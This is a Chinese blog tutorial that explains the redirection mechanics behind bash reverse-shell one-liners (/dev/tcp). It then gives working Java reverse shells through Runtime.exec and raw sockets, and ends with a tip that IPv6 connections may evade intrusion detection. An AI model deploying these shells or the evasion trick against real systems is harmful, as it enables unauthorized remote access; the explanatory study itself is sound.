使用Java反彈shell
最近一直在看反彈shell,網上也有大量地一句話反彈shell,如 ofollow,noindex">各種環境下反彈 shell 的方法 , linux各種一句話反彈shell總結 。但是鮮有文章講明這些反彈shell的原理。即使有文章講,但是感覺也沒有講清楚。這個問題也一直困擾了很久,通過自己查閱資料,問朋友,做實驗,最終才將這個問題差不多搞懂了。如果文章中有不對的地方也歡迎各位師傅來交流。
反彈shell舉例
最常見的反彈shell的寫法是:
bash -i >& /dev/tcp/ip/port 0>&1
在講解具體的反彈shell的原理時,我們首先必須要了解Linux中檔案描述符和重定向這兩個概念。
檔案描述符&重定向
首先需要知道在Linux中一些基本的嘗試,如檔案描述符(File Descriptor,fd)。在Linux中有如下的定義:
- 檔案描述符0 表示標準輸入
- 檔案描述符1 表示標準輸出
- 檔案描述符2 表示標準錯誤
所以在一般情況下,檔案描述符表的指向如下:
在Linux中, >
表示重定向的含義。表示將一個命令的輸出輸入重定向到另外一個地方。比如我們使用 ls -all > tmp.txt
,就是表示我們將 ls -all
的結果不是直接在terminal上面輸出,而是寫入到 tmp.txt
檔案中。
其實在Linux下本質的原因是,命令 command > file
就等價於 command 1>file
。由於1表示的是標準輸出。由於出現了 1>file
,所以檔案描述符表就會發生變化。此時變為了:
Bash會開啟檔案file,然後將檔案描述符1的指標指向file。所以所有的輸出是寫入到檔案描述1,由於現在檔案描述符1已經指向了file,所有所有的輸出全部都會寫入到檔案中。這也就是為什麼當我們使用類似於 ls -all > tmp.txt
時, ls -all
的結果會全部寫入到 tmp.txt
中。
這個只是一些最基本的情況。我們在反彈shell中可能最常見的命令是 >&
或者 &>
。我們進一步進行說明。命令 command &>file
(也等同於 command >&file
,此後這種情況將不再作說明)。這個 &>
就是將 command
命令的輸出和錯誤全部重定向到 file
中,這是一種快速簡單的重定向的寫法。所以執行 command >&file
之後,檔案描述符變為了:
其實 command >&file
這種寫法也等價於 command >file 2>&1
。(其中 2>&1
表示的就是將檔案描述符2重定向到檔案描述符1)。下圖展示了這個檔案描述表的變化過程。
需要注意的是,在Linux中檔案的重定向的順序是非常重要的。上述的 command >file 2>&1
和 command 2>&1 >file
執行得到的結果是完全不一樣的。下圖展示的是 command 2>&1 >file
的檔案描述符的變化過程。
通過檔案描述符的最終狀態就可以看出來,最終執行完畢 command 2>&1 >file
,只有檔案描述符1指向的是 file
。這樣的情況和 command >file 2>&1
是完全不一定的。
更多地關於檔案描述符的詳情可以參考文章 Bash One-Liners Explained, Part III: All about redirections
特殊情況
在上一節中講到的檔案描述符0、1、2d都是系統預設的檔案描述符,所以3之後的數字我們都可以自行使用。以下就用一個簡單的例子來說明:
-
echo "123456">test.txt
是建立一個test.txt,檔案內容是123456 -
exec 3<test.txt
,建立檔案描述符3,並將檔案描述符3指向test.txt
-
grep "1" < &3
,此時檔案描述符3充當了檔案描述符1的功能,作為了grep
命令的輸入,最終查詢得到了結果
但是還有一類比較特殊的檔案重定向用法 <>
,表示同時對檔案進行讀寫操作。示例如下:
echo "456789">test2.txt exec 5<> test2.txt read -n 3 var <&5 echo $var
反彈shell分析
上一節的兩種方式都是可以用作反彈shell的,分別是 bash -i >& /dev/tcp/ip/port 0>&1
這種方式以及 bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
方式。這兩種方式的原理其實都是類似,下面對其進行簡要的分析。
方式一
bash -i >& /dev/tcp/ip/port 0>&1
-
bash -i
建立一個互動式的bash程序 -
/dev/tcp/ip/port
,linux中所有的程式都是以檔案的形式存在。這句話的意思與ip:port
建立了一個TCP連線。 -
>&
command >&file
這種寫法也等價於command >file 2>&1
。(其中2>&1
表示的就是將檔案描述符2重定向到檔案描述符1) -
0>&1
將標準輸入重定向到標準輸出。
下圖說明了上述命令的檔案描述符的變化過程。
通過整個變化過程,我們就可以很清晰地看到最終是完成了反彈shell。
方式二
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
同理,我們按照上述的分析方法對這個反彈shell進行分析。
-
5<>/dev/tcp/host/port
,以讀寫的方式開啟/dev/tcp/host/port
,並將檔案描述符5重定向到/dev/tcp/host/port
-
0>&5
,將檔案描述符0(標準輸入)重定向至檔案描述符5 -
1>&5
,將檔案描述符1(標準輸出)重定向至檔案描述符5
下圖說明了上述命令的檔案描述符的變化過程。
最終的效果就是檔案描述符0(標準輸入)和檔案描述1(標準輸出)全部都重定向到 /dev/tcp/host/port
,從而就完成了反彈shell。
方式三
exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line >&5; done
-
exec 5<>/dev/tcp/ip/port
,以讀寫的方式開啟/dev/tcp/ip/port
,並將檔案描述符5重定向到/dev/tcp/ip/port
-
cat <&5
,將檔案描述符5的重定向到cat
中,即cat讀取到&5
的內容。結合1就是cat會讀取/dev/tcp/ip/port
中shell的輸入內容。 -
|
,管道符。將cat讀取的結果作為後面的輸入; -
while read line; do $line >&5; done
,拆開看。while do done
是shell中while
的規定語法。其中read line;
表示的就是會迴圈讀取cat <&5
的內容,賦值到line
變數中,之後$line
會執行line
語句中的命令,最後>&5
,表示將當前bash的輸出和錯誤重定向至檔案描述符5中,即/dev/tcp/ip/port
。
下圖說明了上述命令的檔案描述符的變化過程。
相信通過上面的三個例子應該對不同形式下的反彈shell有個清新地認識,至於不同版本或者是不同語言的反彈shell其實都是上面的變形而已。
寫完之後才發現在先知上已經有兩篇很詳細地文章了, Linux反彈shell(一)檔案描述符與重定向 、 Linux 反彈shell(二)反彈shell的本質 。
java反彈shell
常見方式
說到Java發彈shell,網上所有的java反彈shell使用的都是:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
首先 ["a","b","c] as String[]
這種寫法沒有見過,至少我在jdk1.8上面測試是失敗的,正常的寫法應該是 new String[]{"a","b","c"}
這種寫法。那麼上述的寫法就變為:
Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor();
可以發現能夠成功地反彈shell。
舉一反三,既然上述的這種可以,那麼下面這種也同樣可以:
Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"}); p.waitFor();
通過分析,其實上面的這兩種反彈shell的命令非常容易理解。 /bin/bash
是需要執行的程式。而 -c
和 bash -i >& /dev/tcp/ip/port 0>&1
都是作為 /bin/bash
的引數,我們都知道 bash -c "cmd string"
,就是使用shell去執行 cmd string
字串,所以上述的命令就是利用shell執行 bash -i >& /dev/tcp/ip/port 0>&1
,這就和直接在bash中輸入 bash -i >& /dev/tcp/ip/port 0>&1
的效果是一樣的。
當然像這樣的例子還能夠寫很多。
特殊方式
上面說的反彈shell的方式其實還是利用常見的 bash
反彈shell的原理。既然在java中也存在 socket
,那麼我們就可以直接利用Java中的socket建立連線進行反彈shell。如下:
String host=host; int port=port; String cmd="/bin/sh"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) { so.write(pi.read()); } while(pe.available()>0) { so.write(pe.read()); } while(si.available()>0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close();
我們直接通過 Socket s=new Socket(host,port);
這種方式,按照 https://docs.oracle.com/javase/7/docs/technotes/guides/net/ipv6_guide/ 的說明:
You can run the same bytecode for this example in IPv6 mode if both your local host machine and the destination machine (taranis) are IPv6-enabled.
即如果目標機器和本地機器都支援IPv6,則使用IPv6。在本地實際測試的結果也是如此:
這種特性有什用呢?其實很多NIDS考慮到目前大部分的網路行為都是IPv4的,所以基本都是檢測的IPv4的地址,也就是說IPv6的通訊流量有一定的概率能夠繞過NIDS的檢測。